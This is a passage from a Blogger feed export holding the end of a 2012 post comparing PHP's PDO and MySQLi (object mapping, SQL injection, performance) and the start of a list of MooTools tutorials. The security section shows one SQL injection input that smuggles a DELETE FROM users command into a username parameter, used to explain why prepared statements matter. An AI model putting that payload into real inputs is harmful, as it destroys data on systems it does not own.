spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php keyword&quot;&gt;return&lt;/code&gt; &lt;code class=&quot;php string&quot;&gt;&#39;#&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$this&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;id.&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;: &#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$this&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;first_name.&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39; &#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$this&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;last_name;&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number9 index8 alt2&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;}&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number10 index9 alt1&quot;&gt;&lt;code class=&quot;php plain&quot;&gt;}&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;Without object mapping, we would need to fill each field’s value  (either manually or through the constructor) before we can use the &lt;code&gt;info()&lt;/code&gt; method correctly. &lt;br /&gt;
This allows us to predefine these properties before the object is even constructed! For isntance:&lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;syntaxhighlighter  php&quot; id=&quot;highlighter_124192&quot;&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;1&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;2&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;3&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;4&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;5&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;6&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;7&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;8&lt;/div&gt;&lt;div class=&quot;line number9 index8 alt2&quot;&gt;9&lt;/div&gt;&lt;div class=&quot;line number10 index9 alt1&quot;&gt;10&lt;/div&gt;&lt;div class=&quot;line number11 index10 alt2&quot;&gt;11&lt;/div&gt;&lt;div class=&quot;line number12 index11 alt1&quot;&gt;12&lt;/div&gt;&lt;div class=&quot;line number13 index12 alt2&quot;&gt;13&lt;/div&gt;&lt;div class=&quot;line number14 index13 alt1&quot;&gt;14&lt;/div&gt;&lt;div class=&quot;line number15 index14 alt2&quot;&gt;15&lt;/div&gt;&lt;div class=&quot;line number16 index15 alt1&quot;&gt;16&lt;/div&gt;&lt;div class=&quot;line number17 index16 alt2&quot;&gt;17&lt;/div&gt;&lt;div class=&quot;line number18 index17 alt1&quot;&gt;18&lt;/div&gt;&lt;div class=&quot;line number19 index18 alt2&quot;&gt;19&lt;/div&gt;&lt;div class=&quot;line number20 index19 alt1&quot;&gt;20&lt;/div&gt;&lt;div class=&quot;line number21 index20 alt2&quot;&gt;21&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$query&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&quot;SELECT id, first_name, last_name FROM users&quot;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;;&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;&lt;code class=&quot;php comments&quot;&gt;// PDO&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$result&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$pdo&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;query(&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$query&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$result&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;setFetchMode(PDO::FETCH_CLASS, &lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;User&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;&lt;code class=&quot;php keyword&quot;&gt;while&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$user&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$result&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;fetch()) {&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;php variable&quot;&gt;$user&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;info().&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&quot;\n&quot;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;;&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number9 index8 alt2&quot;&gt;&lt;code class=&quot;php plain&quot;&gt;}&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number10 index9 alt1&quot;&gt;&lt;code class=&quot;php comments&quot;&gt;// MySQLI, procedural way&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number11 index10 alt2&quot;&gt;&lt;code class=&quot;php keyword&quot;&gt;if&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$result&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= mysqli_query(&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$mysqli&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;, &lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$query&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;)) {&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number12 index11 alt1&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php keyword&quot;&gt;while&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$user&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= mysqli_fetch_object(&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$result&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;, &lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;User&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;)) {&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number13 index12 alt2&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;php variable&quot;&gt;$user&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;info().&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&quot;\n&quot;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;;&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number14 index13 alt1&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;}&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number15 index14 alt2&quot;&gt;&lt;code class=&quot;php plain&quot;&gt;}&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number16 index15 alt1&quot;&gt;&lt;code class=&quot;php comments&quot;&gt;// MySQLi, object oriented way&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number17 index16 alt2&quot;&gt;&lt;code class=&quot;php keyword&quot;&gt;if&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$result&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$mysqli&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;query(&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$query&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;)) {&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number18 index17 alt1&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php keyword&quot;&gt;while&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$user&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$result&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;fetch_object(&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;User&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;)) {&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number19 index18 alt2&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;php variable&quot;&gt;$user&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;info().&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&quot;\n&quot;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;;&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number20 index19 alt1&quot;&gt;&lt;code class=&quot;php spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;}&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number21 index20 alt2&quot;&gt;&lt;code class=&quot;php plain&quot;&gt;}&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr /&gt; &lt;h2&gt;Security&lt;/h2&gt;&lt;img alt=&quot;&quot; class=&quot;tutorial_image&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/2013_phpvsmysqli/tutorial_1.png&quot; /&gt;&lt;br /&gt;
&lt;blockquote&gt;   Both libraries provide &lt;strong&gt;SQL injection security, as long as the developer uses them the way they were intended&lt;/strong&gt; (read: escaping / parameter binding with prepared statements).&lt;br /&gt;
&lt;/blockquote&gt;Lets say a hacker is trying to inject some malicious SQL through the ‘username’ HTTP query parameter (GET):  &lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;syntaxhighlighter  php&quot; id=&quot;highlighter_395340&quot;&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;1&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;username&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;] = &lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&quot;&#39;; DELETE FROM users; /*&quot;&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;If we fail to escape this, it will be included in the query “as is” –  deleting all rows from the &lt;code&gt;users&lt;/code&gt; table (both PDO and mysqli support multiple queries).&lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;syntaxhighlighter  php&quot; id=&quot;highlighter_960784&quot;&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;1&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;2&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;3&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;4&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;5&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;6&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;7&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;8&lt;/div&gt;&lt;div class=&quot;line number9 index8 alt2&quot;&gt;9&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;&lt;code class=&quot;php comments&quot;&gt;// PDO, &quot;manual&quot; escaping&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$username&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= PDO::quote(&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;username&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;]);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$pdo&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;query(&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&quot;SELECT * FROM users WHERE username = $username&quot;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;&lt;code class=&quot;php comments&quot;&gt;// mysqli, &quot;manual&quot; escaping&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$username&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= mysqli_real_escape_string(&lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;username&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;]);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;line number9 index8 alt2&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$mysqli&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;query(&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&quot;SELECT * FROM users WHERE username = &#39;$username&#39;&quot;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;);&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;As you can see, &lt;strong&gt;&lt;code&gt;PDO::quote()&lt;/code&gt; not only escapes the string, but it also quotes it.&lt;/strong&gt;  On the other side, &lt;code&gt;mysqli_real_escape_string()&lt;/code&gt; will only escape the string; you will need to apply the quotes manually.&lt;br /&gt;
&lt;div&gt;&lt;div class=&quot;syntaxhighlighter  php&quot; id=&quot;highlighter_422462&quot;&gt;&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;1&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;2&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;3&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;4&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;5&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;6&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;7&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;8&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;&lt;code class=&quot;php comments&quot;&gt;// PDO, prepared statement&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number2 index1 alt1&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$pdo&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;prepare(&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;SELECT * FROM users WHERE username = :username&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number3 index2 alt2&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$pdo&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;execute(&lt;/code&gt;&lt;code class=&quot;php keyword&quot;&gt;array&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;:username&#39;&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;=&amp;gt; &lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;username&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;]));&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number4 index3 alt1&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div class=&quot;line number5 index4 alt2&quot;&gt;&lt;code class=&quot;php comments&quot;&gt;// mysqli, prepared statements&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number6 index5 alt1&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$query&lt;/code&gt; &lt;code class=&quot;php plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$mysqli&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;prepare(&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;SELECT * FROM users WHERE username = ?&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number7 index6 alt2&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$query&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;bind_param(&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;s&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;, &lt;/code&gt;&lt;code class=&quot;php variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;php string&quot;&gt;&#39;username&#39;&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;]);&lt;/code&gt;&lt;/div&gt;&lt;div class=&quot;line number8 index7 alt1&quot;&gt;&lt;code class=&quot;php variable&quot;&gt;$query&lt;/code&gt;&lt;code class=&quot;php plain&quot;&gt;-&amp;gt;execute();&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt; I recommend that you always use prepared statements with bound queries instead of P&lt;code&gt;DO::quote()&lt;/code&gt; and &lt;code&gt;mysqli_real_escape_string()&lt;/code&gt;. &lt;br /&gt;
&lt;/blockquote&gt;&lt;hr /&gt; &lt;h2&gt;Performance&lt;/h2&gt;While both PDO and MySQLi are quite fast, MySQLi performs  insignificantly faster in benchmarks – ~2.5% for non-prepared  statements, and ~6.5% for prepared ones. Still, the native MySQL  extension is even faster than both of these. So if you truly need to  squeeze every last bit of performance, that is one thing you might  consider. &lt;br /&gt;
&lt;hr /&gt; &lt;h2&gt;Summary&lt;/h2&gt;Ultimately, PDO wins this battle with ease. With support for twelve  different database drivers (eighteen different databases!) and named  parameters, we can ignore the small performance loss, and get used to  its API. From a security standpoint, both of them are safe as long as  the developer uses them the way they are supposed to be used (read:  prepared statements). &lt;br /&gt;
&lt;blockquote&gt;So if you’re still working with MySQLi, maybe it’s time for a change!&lt;br /&gt;
&lt;/blockquote&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/3679040441528905852/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/pdo-vs-mysqli-which-should-you-use.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/3679040441528905852'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/3679040441528905852'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/pdo-vs-mysqli-which-should-you-use.html' title='PDO vs. MySQLi: Which Should You Use?'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-7615965944660665004</id><published>2012-02-26T10:35:00.002-08:00</published><updated>2012-02-26T10:35:46.150-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="40 Seriously Awesome MooTools Tutorials and Plugins"/><title type='text'>40 Seriously Awesome MooTools Tutorials and Plugins</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;MooTools is a lightweight, object-oriented and very popular framework  for JavaScript, written in JavaScript which can spice up the  interactivity and beauty of your site. User interface plays an important  role in the success of any website; JavaScript, CSS and AJAX are  commonly used to provide users the leisure of rich user interface over  past few years. But using one of the most popular JavaScript libraries,  MooTools you can add extra smoothness and interactivity in your website.   In this post we have covered some MooTools tutorials and plugins which  can be very handy if you are just entering in the world of MooTools. &lt;br /&gt;
&lt;a class=&quot;postthumb&quot; href=&quot;http://www.1stwebdesigner.com/freebies/mootools-tutorials-plugins/&quot; title=&quot;40 Seriously Awesome MooTools Tutorials and Plugins&quot;&gt;&lt;img alt=&quot;40 Seriously Awesome MooTools Tutorials and Plugins&quot; class=&quot;postthumb&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/bigthumbs/400-500/preview-seriously-awesome-mootools-tutorials-plugins.jpg&quot; width=&quot;570&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;h2&gt;1. &lt;a href=&quot;http://sixrevisions.com/tutorials/mootools-tutorials/how-to-auto-caption-images-using-mootools/&quot;&gt;How to Auto Caption Images Using MooTools&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://sixrevisions.com/tutorials/mootools-tutorials/how-to-auto-caption-images-using-mootools/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18636&quot; height=&quot;182&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/How-to-Auto-Caption-Images-Using-MooTools.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
In this tutorial your will write a simple script that will select all  images with the class of captioned, Take its title attribute or alt  attribute and Display it right below the image.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://sixrevisions.com/tutorials/mootools-tutorials/how-to-auto-caption-images-using-mootools/&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://sixrevisions.com/demo/mootools_auto_caption/demo.html&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;2. &lt;a href=&quot;http://www.coders.me/lang/en/web-html-js-css/javascript/sexy-alert-box-12-mootools-jquery&quot;&gt;Sexy Alert Box&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://www.coders.me/lang/en/web-html-js-css/javascript/sexy-alert-box-12-mootools-jquery&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18642&quot; height=&quot;219&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/Sexy-Alert-Box-Mootools-tutorials.png&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
Sexy Alert Box replaces old fashion and abruptly appearing alerts with  good-looking ans smoothly appearing Alerts using MooTools 1.2 or up.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://www.coders.me/lang/en/web-html-js-css/javascript/sexy-alert-box-12-mootools-jquery&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.coders.me/ejemplos/sexy-alert-box-1-2/&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;3. &lt;a href=&quot;http://davidwalsh.name/ajax-username-availability-checker-mootools&quot;&gt;AJAX Username Availability Checker Using MooTools 1.2&lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://davidwalsh.name/ajax-username-availability-checker-mootools&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18643&quot; height=&quot;123&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/AJAX-Username-Availability-Checker-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
Almost every website offering membership to its readers needs username  availability checker to facilitate users in a way that they know if  their desired username is available or already registered on the  specific site. So here is a tutorial on how you can implement a username  availability checker using MooTools 1.2.&lt;br /&gt;
&lt;h4&gt;&lt;a href=&quot;http://davidwalsh.name/ajax-username-availability-checker-mootools&quot;&gt;Read Full Tutorial&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://davidwalsh.name/dw-content/ajax-username-check.php&quot;&gt;Demo&lt;/a&gt;&lt;/h4&gt;&lt;h2&gt;4. &lt;a href=&quot;http://digitarald.de/project/autocompleter/&quot;&gt;AutoCompleter &lt;/a&gt;&lt;/h2&gt;&lt;a href=&quot;http://digitarald.de/project/autocompleter/&quot;&gt;&lt;img alt=&quot;&quot; class=&quot;aligncenter size-full wp-image-18645&quot; height=&quot;189&quot; src=&quot;http://cdn1.1stwebdesigner.com/wp-content/uploads/2010/07/AutoCompleter-Mootools-tutorials.jpg&quot; style=&quot;display: block;&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
You must have noticed Google giving suggestion about your search queries  in a drop down. This Auto-completer script provide the same facility  for text suggestion and completion using MooTools.&lt;br /&gt;
